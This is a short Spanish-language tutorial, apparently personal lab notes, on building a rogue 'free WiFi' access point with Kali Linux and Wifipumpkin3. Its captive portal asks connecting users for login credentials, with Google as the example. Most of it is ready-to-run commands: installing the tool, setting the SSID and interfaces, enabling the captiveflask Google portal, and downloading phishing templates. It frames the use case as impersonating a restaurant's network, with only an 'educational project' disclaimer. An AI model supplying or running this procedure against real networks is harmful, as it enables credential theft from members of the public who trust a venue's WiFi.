Rogue Ap Wifi

Rogue AP Wifi + Custom template #

En este caso, el laboratorio trata de montar un punto de acceso de “Wifi Gratis”, en el cual se accede sin contraseña, pero al conectarte a la red te pide que inicies sesión.

Para el caso, se pueden utilizar o crear plantillas personalizadas, por ejemplo, supongamos que realizamos el laboratorio en un restaurante, creariamos un punto de acceso con el nombre del restaurante y un portal personalizado solicitando credenciales de acceso, por ejemplo a google.

Esto es un proyecto educativo, del cual no me hago responsable de su uso

Herramientas e Instalación #

En este caso tiraremos de Kali Linux y Wifipumpkin3 Ya que nos permite crear nuestras plantillas personalizadas de una manera muy sencilla.

REQUISITOS #

Tarjeta de red que permita AP MODE , y (opcional) MONITOR MODE Tarjeta de red (sea inalámbrica o por ethernet), conectada a internet

# Instalación (metodo 1)
sudo apt install wifipumpkin3

# Método alternativo
git clone https://github.com/P0cL4bs/wifipumpkin3.git 
cd wifipumpkin3 
sudo make install

#LANZAMIENTO
wifipumpkin3
OPCIONAL (En docker) #
# INSTALACIÓN
git clone https://github.com/P0cL4bs/wifipumpkin3.git
cd wifipumpkin3
sudo docker build -t "wifipumpkin3" .

#LANZAMIENTO
sudo docker run --privileged -ti --rm --name wifipumpkin3 --net host "wifipumpkin3" 

Configuración AP #

necesitamos averiguar los interfaces de red con ifconfig

wifipumpkin3

#mostrar ayuda
help

#configurar AP
ap
set interface <interfaz_para_el_ap>
set interface_net <interfaz_con_internet>
set ssid <nombre_ap>
ignore pydns_server
set proxy captiveflask
set captiveflask.force_ssredirect_to_url https://<url>
set captiveflask.proxy_port 443
set captiveflask.google true
start

Descargar plantillas #

# DESCARGAR PLANTILLAS POR DEFECTO
use.misc.extra_captiveflask
download

# Listar plantillas
list

#instalar plantilla
install <nombre>